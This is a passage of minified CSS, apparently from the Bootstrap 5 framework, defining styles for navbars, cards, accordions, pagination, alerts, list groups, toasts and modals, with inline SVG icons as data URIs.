.offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}}.navbar-expand{flex-wrap:nowrap;justify-content:flex-start}.navbar-expand .navbar-nav{flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:var(--bs-navbar-nav-link-padding-x);padding-left:var(--bs-navbar-nav-link-padding-x)}.navbar-expand .navbar-nav-scroll{overflow:visible}.navbar-expand .navbar-collapse{display:flex!important;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-expand .offcanvas{position:static;z-index:auto;flex-grow:1;width:auto!important;height:auto!important;visibility:visible!important;background-color:transparent!important;border:0!important;transform:none!important;transition:none}.navbar-expand .offcanvas .offcanvas-header{display:none}.navbar-expand .offcanvas .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible}.navbar-dark{--bs-navbar-color:rgba(255, 255, 255, 0.55);--bs-navbar-hover-color:rgba(255, 255, 255, 0.75);--bs-navbar-disabled-color:rgba(255, 255, 255, 0.25);--bs-navbar-active-color:#fff;--bs-navbar-brand-color:#fff;--bs-navbar-brand-hover-color:#fff;--bs-navbar-toggler-border-color:rgba(255, 255, 255, 0.1);--bs-navbar-toggler-icon-bg:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 30 30'%3e%3cpath stroke='rgba%28255, 255, 255, 0.55%29' stroke-linecap='round' stroke-miterlimit='10' stroke-width='2' d='M4 7h22M4 15h22M4 23h22'/%3e%3c/svg%3e")}.card{--bs-card-spacer-y:1rem;--bs-card-spacer-x:1rem;--bs-card-title-spacer-y:0.5rem;--bs-card-border-width:1px;--bs-card-border-color:var(--bs-border-color-translucent);--bs-card-border-radius:0.375rem;--bs-card-box-shadow: ;--bs-card-inner-border-radius:calc(0.375rem - 1px);--bs-card-cap-padding-y:0.5rem;--bs-card-cap-padding-x:1rem;--bs-card-cap-bg:rgba(0, 0, 0, 0.03);--bs-card-cap-color: ;--bs-card-height: ;--bs-card-color: ;--bs-card-bg:#fff;--bs-card-img-overlay-padding:1rem;--bs-card-group-margin:0.75rem;position:relative;display:flex;flex-direction:column;min-width:0;height:var(--bs-card-height);word-wrap:break-word;background-color:var(--bs-card-bg);background-clip:border-box;border:var(--bs-card-border-width) solid var(--bs-card-border-color);border-radius:var(--bs-card-border-radius)}.card>hr{margin-right:0;margin-left:0}.card>.list-group{border-top:inherit;border-bottom:inherit}.card>.list-group:first-child{border-top-width:0;border-top-left-radius:var(--bs-card-inner-border-radius);border-top-right-radius:var(--bs-card-inner-border-radius)}.card>.list-group:last-child{border-bottom-width:0;border-bottom-right-radius:var(--bs-card-inner-border-radius);border-bottom-left-radius:var(--bs-card-inner-border-radius)}.card>.card-header+.list-group,.card>.list-group+.card-footer{border-top:0}.card-body{flex:1 1 auto;padding:var(--bs-card-spacer-y) var(--bs-card-spacer-x);color:var(--bs-card-color)}.card-title{margin-bottom:var(--bs-card-title-spacer-y)}.card-subtitle{margin-top:calc(-.5 * var(--bs-card-title-spacer-y));margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link+.card-link{margin-left:var(--bs-card-spacer-x)}.card-header{padding:var(--bs-card-cap-padding-y) var(--bs-card-cap-padding-x);margin-bottom:0;color:var(--bs-card-cap-color);background-color:var(--bs-card-cap-bg);border-bottom:var(--bs-card-border-width) solid var(--bs-card-border-color)}.card-header:first-child{border-radius:var(--bs-card-inner-border-radius) var(--bs-card-inner-border-radius) 0 0}.card-footer{padding:var(--bs-card-cap-padding-y) var(--bs-card-cap-padding-x);color:var(--bs-card-cap-color);background-color:var(--bs-card-cap-bg);border-top:var(--bs-card-border-width) solid var(--bs-card-border-color)}.card-footer:last-child{border-radius:0 0 var(--bs-card-inner-border-radius) var(--bs-card-inner-border-radius)}.card-header-tabs{margin-right:calc(-.5 * var(--bs-card-cap-padding-x));margin-bottom:calc(-1 * var(--bs-card-cap-padding-y));margin-left:calc(-.5 * var(--bs-card-cap-padding-x));border-bottom:0}.card-header-tabs .nav-link.active{background-color:var(--bs-card-bg);border-bottom-color:var(--bs-card-bg)}.card-header-pills{margin-right:calc(-.5 * var(--bs-card-cap-padding-x));margin-left:calc(-.5 * var(--bs-card-cap-padding-x))}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:var(--bs-card-img-overlay-padding);border-radius:var(--bs-card-inner-border-radius)}.card-img,.card-img-bottom,.card-img-top{width:100%}.card-img,.card-img-top{border-top-left-radius:var(--bs-card-inner-border-radius);border-top-right-radius:var(--bs-card-inner-border-radius)}.card-img,.card-img-bottom{border-bottom-right-radius:var(--bs-card-inner-border-radius);border-bottom-left-radius:var(--bs-card-inner-border-radius)}.card-group>.card{margin-bottom:var(--bs-card-group-margin)}@media (min-width:576px){.card-group{display:flex;flex-flow:row wrap}.card-group>.card{flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:not(:last-child) .card-header,.card-group>.card:not(:last-child) .card-img-top{border-top-right-radius:0}.card-group>.card:not(:last-child) .card-footer,.card-group>.card:not(:last-child) .card-img-bottom{border-bottom-right-radius:0}.card-group>.card:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:not(:first-child) .card-header,.card-group>.card:not(:first-child) .card-img-top{border-top-left-radius:0}.card-group>.card:not(:first-child) .card-footer,.card-group>.card:not(:first-child) .card-img-bottom{border-bottom-left-radius:0}}.accordion{--bs-accordion-color:#212529;--bs-accordion-bg:#fff;--bs-accordion-transition:color 0.15s ease-in-out,background-color 0.15s ease-in-out,border-color 0.15s ease-in-out,box-shadow 0.15s ease-in-out,border-radius 0.15s ease;--bs-accordion-border-color:var(--bs-border-color);--bs-accordion-border-width:1px;--bs-accordion-border-radius:0.375rem;--bs-accordion-inner-border-radius:calc(0.375rem - 1px);--bs-accordion-btn-padding-x:1.25rem;--bs-accordion-btn-padding-y:1rem;--bs-accordion-btn-color:#212529;--bs-accordion-btn-bg:var(--bs-accordion-bg);--bs-accordion-btn-icon:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23212529'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e");--bs-accordion-btn-icon-width:1.25rem;--bs-accordion-btn-icon-transform:rotate(-180deg);--bs-accordion-btn-icon-transition:transform 0.2s ease-in-out;--bs-accordion-btn-active-icon:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%230c63e4'%3e%3cpath fill-rule='evenodd' d='M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e");--bs-accordion-btn-focus-border-color:#86b7fe;--bs-accordion-btn-focus-box-shadow:0 0 0 0.25rem rgba(13, 110, 253, 0.25);--bs-accordion-body-padding-x:1.25rem;--bs-accordion-body-padding-y:1rem;--bs-accordion-active-color:#0c63e4;--bs-accordion-active-bg:#e7f1ff}.accordion-button{position:relative;display:flex;align-items:center;width:100%;padding:var(--bs-accordion-btn-padding-y) var(--bs-accordion-btn-padding-x);font-size:1rem;color:var(--bs-accordion-btn-color);text-align:left;background-color:var(--bs-accordion-btn-bg);border:0;border-radius:0;overflow-anchor:none;transition:var(--bs-accordion-transition)}@media (prefers-reduced-motion:reduce){.accordion-button{transition:none}}.accordion-button:not(.collapsed){color:var(--bs-accordion-active-color);background-color:var(--bs-accordion-active-bg);box-shadow:inset 0 calc(-1 * var(--bs-accordion-border-width)) 0 var(--bs-accordion-border-color)}.accordion-button:not(.collapsed)::after{background-image:var(--bs-accordion-btn-active-icon);transform:var(--bs-accordion-btn-icon-transform)}.accordion-button::after{flex-shrink:0;width:var(--bs-accordion-btn-icon-width);height:var(--bs-accordion-btn-icon-width);margin-left:auto;content:"";background-image:var(--bs-accordion-btn-icon);background-repeat:no-repeat;background-size:var(--bs-accordion-btn-icon-width);transition:var(--bs-accordion-btn-icon-transition)}@media (prefers-reduced-motion:reduce){.accordion-button::after{transition:none}}.accordion-button:hover{z-index:2}.accordion-button:focus{z-index:3;border-color:var(--bs-accordion-btn-focus-border-color);outline:0;box-shadow:var(--bs-accordion-btn-focus-box-shadow)}.accordion-header{margin-bottom:0}.accordion-item{color:var(--bs-accordion-color);background-color:var(--bs-accordion-bg);border:var(--bs-accordion-border-width) solid var(--bs-accordion-border-color)}.accordion-item:first-of-type{border-top-left-radius:var(--bs-accordion-border-radius);border-top-right-radius:var(--bs-accordion-border-radius)}.accordion-item:first-of-type .accordion-button{border-top-left-radius:var(--bs-accordion-inner-border-radius);border-top-right-radius:var(--bs-accordion-inner-border-radius)}.accordion-item:not(:first-of-type){border-top:0}.accordion-item:last-of-type{border-bottom-right-radius:var(--bs-accordion-border-radius);border-bottom-left-radius:var(--bs-accordion-border-radius)}.accordion-item:last-of-type .accordion-button.collapsed{border-bottom-right-radius:var(--bs-accordion-inner-border-radius);border-bottom-left-radius:var(--bs-accordion-inner-border-radius)}.accordion-item:last-of-type .accordion-collapse{border-bottom-right-radius:var(--bs-accordion-border-radius);border-bottom-left-radius:var(--bs-accordion-border-radius)}.accordion-body{padding:var(--bs-accordion-body-padding-y) var(--bs-accordion-body-padding-x)}.accordion-flush .accordion-collapse{border-width:0}.accordion-flush .accordion-item{border-right:0;border-left:0;border-radius:0}.accordion-flush .accordion-item:first-child{border-top:0}.accordion-flush .accordion-item:last-child{border-bottom:0}.accordion-flush .accordion-item .accordion-button,.accordion-flush .accordion-item .accordion-button.collapsed{border-radius:0}.breadcrumb{--bs-breadcrumb-padding-x:0;--bs-breadcrumb-padding-y:0;--bs-breadcrumb-margin-bottom:1rem;--bs-breadcrumb-bg: ;--bs-breadcrumb-border-radius: ;--bs-breadcrumb-divider-color:#6c757d;--bs-breadcrumb-item-padding-x:0.5rem;--bs-breadcrumb-item-active-color:#6c757d;display:flex;flex-wrap:wrap;padding:var(--bs-breadcrumb-padding-y) var(--bs-breadcrumb-padding-x);margin-bottom:var(--bs-breadcrumb-margin-bottom);font-size:var(--bs-breadcrumb-font-size);list-style:none;background-color:var(--bs-breadcrumb-bg);border-radius:var(--bs-breadcrumb-border-radius)}.breadcrumb-item+.breadcrumb-item{padding-left:var(--bs-breadcrumb-item-padding-x)}.breadcrumb-item+.breadcrumb-item::before{float:left;padding-right:var(--bs-breadcrumb-item-padding-x);color:var(--bs-breadcrumb-divider-color);content:var(--bs-breadcrumb-divider, "/")}.breadcrumb-item.active{color:var(--bs-breadcrumb-item-active-color)}.pagination{--bs-pagination-padding-x:0.75rem;--bs-pagination-padding-y:0.375rem;--bs-pagination-font-size:1rem;--bs-pagination-color:var(--bs-link-color);--bs-pagination-bg:#fff;--bs-pagination-border-width:1px;--bs-pagination-border-color:#dee2e6;--bs-pagination-border-radius:0.375rem;--bs-pagination-hover-color:var(--bs-link-hover-color);--bs-pagination-hover-bg:#e9ecef;--bs-pagination-hover-border-color:#dee2e6;--bs-pagination-focus-color:var(--bs-link-hover-color);--bs-pagination-focus-bg:#e9ecef;--bs-pagination-focus-box-shadow:0 0 0 0.25rem rgba(13, 110, 253, 0.25);--bs-pagination-active-color:#fff;--bs-pagination-active-bg:#0d6efd;--bs-pagination-active-border-color:#0d6efd;--bs-pagination-disabled-color:#6c757d;--bs-pagination-disabled-bg:#fff;--bs-pagination-disabled-border-color:#dee2e6;display:flex;padding-left:0;list-style:none}.page-link{position:relative;display:block;padding:var(--bs-pagination-padding-y) var(--bs-pagination-padding-x);font-size:var(--bs-pagination-font-size);color:var(--bs-pagination-color);text-decoration:none;background-color:var(--bs-pagination-bg);border:var(--bs-pagination-border-width) solid var(--bs-pagination-border-color);transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.page-link{transition:none}}.page-link:hover{z-index:2;color:var(--bs-pagination-hover-color);background-color:var(--bs-pagination-hover-bg);border-color:var(--bs-pagination-hover-border-color)}.page-link:focus{z-index:3;color:var(--bs-pagination-focus-color);background-color:var(--bs-pagination-focus-bg);outline:0;box-shadow:var(--bs-pagination-focus-box-shadow)}.active>.page-link,.page-link.active{z-index:3;color:var(--bs-pagination-active-color);background-color:var(--bs-pagination-active-bg);border-color:var(--bs-pagination-active-border-color)}.disabled>.page-link,.page-link.disabled{color:var(--bs-pagination-disabled-color);pointer-events:none;background-color:var(--bs-pagination-disabled-bg);border-color:var(--bs-pagination-disabled-border-color)}.page-item:not(:first-child) .page-link{margin-left:-1px}.page-item:first-child .page-link{border-top-left-radius:var(--bs-pagination-border-radius);border-bottom-left-radius:var(--bs-pagination-border-radius)}.page-item:last-child .page-link{border-top-right-radius:var(--bs-pagination-border-radius);border-bottom-right-radius:var(--bs-pagination-border-radius)}.pagination-lg{--bs-pagination-padding-x:1.5rem;--bs-pagination-padding-y:0.75rem;--bs-pagination-font-size:1.25rem;--bs-pagination-border-radius:0.5rem}.pagination-sm{--bs-pagination-padding-x:0.5rem;--bs-pagination-padding-y:0.25rem;--bs-pagination-font-size:0.875rem;--bs-pagination-border-radius:0.25rem}.badge{--bs-badge-padding-x:0.65em;--bs-badge-padding-y:0.35em;--bs-badge-font-size:0.75em;--bs-badge-font-weight:700;--bs-badge-color:#fff;--bs-badge-border-radius:0.375rem;display:inline-block;padding:var(--bs-badge-padding-y) var(--bs-badge-padding-x);font-size:var(--bs-badge-font-size);font-weight:var(--bs-badge-font-weight);line-height:1;color:var(--bs-badge-color);text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:var(--bs-badge-border-radius)}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.alert{--bs-alert-bg:transparent;--bs-alert-padding-x:1rem;--bs-alert-padding-y:1rem;--bs-alert-margin-bottom:1rem;--bs-alert-color:inherit;--bs-alert-border-color:transparent;--bs-alert-border:1px solid var(--bs-alert-border-color);--bs-alert-border-radius:0.375rem;position:relative;padding:var(--bs-alert-padding-y) var(--bs-alert-padding-x);margin-bottom:var(--bs-alert-margin-bottom);color:var(--bs-alert-color);background-color:var(--bs-alert-bg);border:var(--bs-alert-border);border-radius:var(--bs-alert-border-radius)}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:3rem}.alert-dismissible .btn-close{position:absolute;top:0;right:0;z-index:2;padding:1.25rem 1rem}.alert-primary{--bs-alert-color:#084298;--bs-alert-bg:#cfe2ff;--bs-alert-border-color:#b6d4fe}.alert-primary .alert-link{color:#06357a}.alert-secondary{--bs-alert-color:#41464b;--bs-alert-bg:#e2e3e5;--bs-alert-border-color:#d3d6d8}.alert-secondary .alert-link{color:#34383c}.alert-success{--bs-alert-color:#0f5132;--bs-alert-bg:#d1e7dd;--bs-alert-border-color:#badbcc}.alert-success .alert-link{color:#0c4128}.alert-info{--bs-alert-color:#055160;--bs-alert-bg:#cff4fc;--bs-alert-border-color:#b6effb}.alert-info .alert-link{color:#04414d}.alert-warning{--bs-alert-color:#664d03;--bs-alert-bg:#fff3cd;--bs-alert-border-color:#ffecb5}.alert-warning .alert-link{color:#523e02}.alert-danger{--bs-alert-color:#842029;--bs-alert-bg:#f8d7da;--bs-alert-border-color:#f5c2c7}.alert-danger .alert-link{color:#6a1a21}.alert-light{--bs-alert-color:#636464;--bs-alert-bg:#fefefe;--bs-alert-border-color:#fdfdfe}.alert-light .alert-link{color:#4f5050}.alert-dark{--bs-alert-color:#141619;--bs-alert-bg:#d3d3d4;--bs-alert-border-color:#bcbebf}.alert-dark .alert-link{color:#101214}@keyframes progress-bar-stripes{0%{background-position-x:1rem}}.progress{--bs-progress-height:1rem;--bs-progress-font-size:0.75rem;--bs-progress-bg:#e9ecef;--bs-progress-border-radius:0.375rem;--bs-progress-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.075);--bs-progress-bar-color:#fff;--bs-progress-bar-bg:#0d6efd;--bs-progress-bar-transition:width 0.6s ease;display:flex;height:var(--bs-progress-height);overflow:hidden;font-size:var(--bs-progress-font-size);background-color:var(--bs-progress-bg);border-radius:var(--bs-progress-border-radius)}.progress-bar{display:flex;flex-direction:column;justify-content:center;overflow:hidden;color:var(--bs-progress-bar-color);text-align:center;white-space:nowrap;background-color:var(--bs-progress-bar-bg);transition:var(--bs-progress-bar-transition)}@media (prefers-reduced-motion:reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-size:var(--bs-progress-height) var(--bs-progress-height)}.progress-bar-animated{animation:1s linear infinite progress-bar-stripes}@media (prefers-reduced-motion:reduce){.progress-bar-animated{animation:none}}.list-group{--bs-list-group-color:#212529;--bs-list-group-bg:#fff;--bs-list-group-border-color:rgba(0, 0, 0, 0.125);--bs-list-group-border-width:1px;--bs-list-group-border-radius:0.375rem;--bs-list-group-item-padding-x:1rem;--bs-list-group-item-padding-y:0.5rem;--bs-list-group-action-color:#495057;--bs-list-group-action-hover-color:#495057;--bs-list-group-action-hover-bg:#f8f9fa;--bs-list-group-action-active-color:#212529;--bs-list-group-action-active-bg:#e9ecef;--bs-list-group-disabled-color:#6c757d;--bs-list-group-disabled-bg:#fff;--bs-list-group-active-color:#fff;--bs-list-group-active-bg:#0d6efd;--bs-list-group-active-border-color:#0d6efd;display:flex;flex-direction:column;padding-left:0;margin-bottom:0;border-radius:var(--bs-list-group-border-radius)}.list-group-numbered{list-style-type:none;counter-reset:section}.list-group-numbered>.list-group-item::before{content:counters(section, ".") ". ";counter-increment:section}.list-group-item-action{width:100%;color:var(--bs-list-group-action-color);text-align:inherit}.list-group-item-action:focus,.list-group-item-action:hover{z-index:1;color:var(--bs-list-group-action-hover-color);text-decoration:none;background-color:var(--bs-list-group-action-hover-bg)}.list-group-item-action:active{color:var(--bs-list-group-action-active-color);background-color:var(--bs-list-group-action-active-bg)}.list-group-item{position:relative;display:block;padding:var(--bs-list-group-item-padding-y) var(--bs-list-group-item-padding-x);color:var(--bs-list-group-color);text-decoration:none;background-color:var(--bs-list-group-bg);border:var(--bs-list-group-border-width) solid var(--bs-list-group-border-color)}.list-group-item:first-child{border-top-left-radius:inherit;border-top-right-radius:inherit}.list-group-item:last-child{border-bottom-right-radius:inherit;border-bottom-left-radius:inherit}.list-group-item.disabled,.list-group-item:disabled{color:var(--bs-list-group-disabled-color);pointer-events:none;background-color:var(--bs-list-group-disabled-bg)}.list-group-item.active{z-index:2;color:var(--bs-list-group-active-color);background-color:var(--bs-list-group-active-bg);border-color:var(--bs-list-group-active-border-color)}.list-group-item+.list-group-item{border-top-width:0}.list-group-item+.list-group-item.active{margin-top:calc(-1 * var(--bs-list-group-border-width));border-top-width:var(--bs-list-group-border-width)}.list-group-horizontal{flex-direction:row}.list-group-horizontal>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal>.list-group-item.active{margin-top:0}.list-group-horizontal>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}@media (min-width:576px){.list-group-horizontal-sm{flex-direction:row}.list-group-horizontal-sm>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-sm>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-sm>.list-group-item.active{margin-top:0}.list-group-horizontal-sm>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-sm>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}@media (min-width:768px){.list-group-horizontal-md{flex-direction:row}.list-group-horizontal-md>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-md>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-md>.list-group-item.active{margin-top:0}.list-group-horizontal-md>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-md>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}@media (min-width:992px){.list-group-horizontal-lg{flex-direction:row}.list-group-horizontal-lg>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-lg>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-lg>.list-group-item.active{margin-top:0}.list-group-horizontal-lg>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-lg>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}@media (min-width:1200px){.list-group-horizontal-xl{flex-direction:row}.list-group-horizontal-xl>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-xl>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-xl>.list-group-item.active{margin-top:0}.list-group-horizontal-xl>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-xl>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}@media (min-width:1400px){.list-group-horizontal-xxl{flex-direction:row}.list-group-horizontal-xxl>.list-group-item:first-child:not(:last-child){border-bottom-left-radius:var(--bs-list-group-border-radius);border-top-right-radius:0}.list-group-horizontal-xxl>.list-group-item:last-child:not(:first-child){border-top-right-radius:var(--bs-list-group-border-radius);border-bottom-left-radius:0}.list-group-horizontal-xxl>.list-group-item.active{margin-top:0}.list-group-horizontal-xxl>.list-group-item+.list-group-item{border-top-width:var(--bs-list-group-border-width);border-left-width:0}.list-group-horizontal-xxl>.list-group-item+.list-group-item.active{margin-left:calc(-1 * var(--bs-list-group-border-width));border-left-width:var(--bs-list-group-border-width)}}.list-group-flush{border-radius:0}.list-group-flush>.list-group-item{border-width:0 0 var(--bs-list-group-border-width)}.list-group-flush>.list-group-item:last-child{border-bottom-width:0}.list-group-item-primary{color:#084298;background-color:#cfe2ff}.list-group-item-primary.list-group-item-action:focus,.list-group-item-primary.list-group-item-action:hover{color:#084298;background-color:#bacbe6}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#084298;border-color:#084298}.list-group-item-secondary{color:#41464b;background-color:#e2e3e5}.list-group-item-secondary.list-group-item-action:focus,.list-group-item-secondary.list-group-item-action:hover{color:#41464b;background-color:#cbccce}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#41464b;border-color:#41464b}.list-group-item-success{color:#0f5132;background-color:#d1e7dd}.list-group-item-success.list-group-item-action:focus,.list-group-item-success.list-group-item-action:hover{color:#0f5132;background-color:#bcd0c7}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#0f5132;border-color:#0f5132}.list-group-item-info{color:#055160;background-color:#cff4fc}.list-group-item-info.list-group-item-action:focus,.list-group-item-info.list-group-item-action:hover{color:#055160;background-color:#badce3}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#055160;border-color:#055160}.list-group-item-warning{color:#664d03;background-color:#fff3cd}.list-group-item-warning.list-group-item-action:focus,.list-group-item-warning.list-group-item-action:hover{color:#664d03;background-color:#e6dbb9}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#664d03;border-color:#664d03}.list-group-item-danger{color:#842029;background-color:#f8d7da}.list-group-item-danger.list-group-item-action:focus,.list-group-item-danger.list-group-item-action:hover{color:#842029;background-color:#dfc2c4}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#842029;border-color:#842029}.list-group-item-light{color:#636464;background-color:#fefefe}.list-group-item-light.list-group-item-action:focus,.list-group-item-light.list-group-item-action:hover{color:#636464;background-color:#e5e5e5}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#636464;border-color:#636464}.list-group-item-dark{color:#141619;background-color:#d3d3d4}.list-group-item-dark.list-group-item-action:focus,.list-group-item-dark.list-group-item-action:hover{color:#141619;background-color:#bebebf}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#141619;border-color:#141619}.btn-close{box-sizing:content-box;width:1em;height:1em;padding:.25em .25em;color:#000;background:transparent url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23000'%3e%3cpath d='M.293.293a1 1 0 0 1 1.414 0L8 6.586 14.293.293a1 1 0 1 1 1.414 1.414L9.414 8l6.293 6.293a1 1 0 0 1-1.414 1.414L8 9.414l-6.293 6.293a1 1 0 0 1-1.414-1.414L6.586 8 .293 1.707a1 1 0 0 1 0-1.414z'/%3e%3c/svg%3e") center/1em auto no-repeat;border:0;border-radius:.375rem;opacity:.5}.btn-close:hover{color:#000;text-decoration:none;opacity:.75}.btn-close:focus{outline:0;box-shadow:0 0 0 .25rem rgba(13,110,253,.25);opacity:1}.btn-close.disabled,.btn-close:disabled{pointer-events:none;-webkit-user-select:none;-moz-user-select:none;user-select:none;opacity:.25}.btn-close-white{filter:invert(1) grayscale(100%) brightness(200%)}.toast{--bs-toast-zindex:1090;--bs-toast-padding-x:0.75rem;--bs-toast-padding-y:0.5rem;--bs-toast-spacing:1.5rem;--bs-toast-max-width:350px;--bs-toast-font-size:0.875rem;--bs-toast-color: ;--bs-toast-bg:rgba(255, 255, 255, 0.85);--bs-toast-border-width:1px;--bs-toast-border-color:var(--bs-border-color-translucent);--bs-toast-border-radius:0.375rem;--bs-toast-box-shadow:0 0.5rem 1rem rgba(0, 0, 0, 0.15);--bs-toast-header-color:#6c757d;--bs-toast-header-bg:rgba(255, 255, 255, 0.85);--bs-toast-header-border-color:rgba(0, 0, 0, 0.05);width:var(--bs-toast-max-width);max-width:100%;font-size:var(--bs-toast-font-size);color:var(--bs-toast-color);pointer-events:auto;background-color:var(--bs-toast-bg);background-clip:padding-box;border:var(--bs-toast-border-width) solid var(--bs-toast-border-color);box-shadow:var(--bs-toast-box-shadow);border-radius:var(--bs-toast-border-radius)}.toast.showing{opacity:0}.toast:not(.show){display:none}.toast-container{--bs-toast-zindex:1090;position:absolute;z-index:var(--bs-toast-zindex);width:-webkit-max-content;width:-moz-max-content;width:max-content;max-width:100%;pointer-events:none}.toast-container>:not(:last-child){margin-bottom:var(--bs-toast-spacing)}.toast-header{display:flex;align-items:center;padding:var(--bs-toast-padding-y) var(--bs-toast-padding-x);color:var(--bs-toast-header-color);background-color:var(--bs-toast-header-bg);background-clip:padding-box;border-bottom:var(--bs-toast-border-width) solid var(--bs-toast-header-border-color);border-top-left-radius:calc(var(--bs-toast-border-radius) - var(--bs-toast-border-width));border-top-right-radius:calc(var(--bs-toast-border-radius) - var(--bs-toast-border-width))}.toast-header .btn-close{margin-right:calc(-.5 * var(--bs-toast-padding-x));margin-left:var(--bs-toast-padding-x)}.toast-body{padding:var(--bs-toast-padding-x);word-wrap:break-word}.modal{--bs-modal-zindex:1055;--bs-modal-width:500px;--bs-modal-padding:1rem;--bs-modal-margin:0.5rem;--bs-modal-color: ;--bs-modal-bg:#fff;--bs-modal-border-color:var(--bs-border-color-translucent);--bs-modal-border-width:1px;--bs-modal-border-radius:0.5rem;--bs-modal-box-shadow:0 0.125rem 0.25rem rgba(0, 0, 0, 0.075);--bs-modal-inner-border-radius:calc(0.5rem - 1px);--bs-modal-header-padding-x:1rem;--bs-modal-header-padding-y:1rem;--bs-modal-header-padding:1rem 1rem;--bs-modal-header-border-color:var(--bs-border-color);--bs-modal-header-border-width:1px;--bs-modal-title-line-height:1.5;--bs-modal-footer-gap:0.5rem;--bs-modal-footer-bg: ;--bs-modal-footer-border-color:var(--bs-border-color);--bs-modal-footer-border-width:1px;position:fixed;top:0;left:0;z-index:var(--bs-modal-zindex);display:none;width:100%;height:100%;overflow-x:hidden;overflow-y:auto;outline:0}.modal-dialog{position:relative;width:auto;margin:var(--bs-modal-margin);pointer-events:none}.modal.fade .modal-dialog{transition:transform .3s ease-out;transform:translate(0,-50px)}@media (prefers-reduced-motion:reduce){.modal.fade .modal-dialog{transition:none}}.modal.show .modal-dialog{transform:none}.modal.modal-static .modal-dialog{transform:scale(1.02)}.modal-dialog-scrollable{height:calc(100% - var(--bs-modal-margin) * 2)}.modal-dialog-scrollable .modal-content{max-height:100%;overflow:hidden}.modal-dialog-scrollable .modal-body{overflow-y:auto}.modal-dialog-centered{display:flex;align-items:center;min-height:calc(100% - var(--bs-modal-margin) * 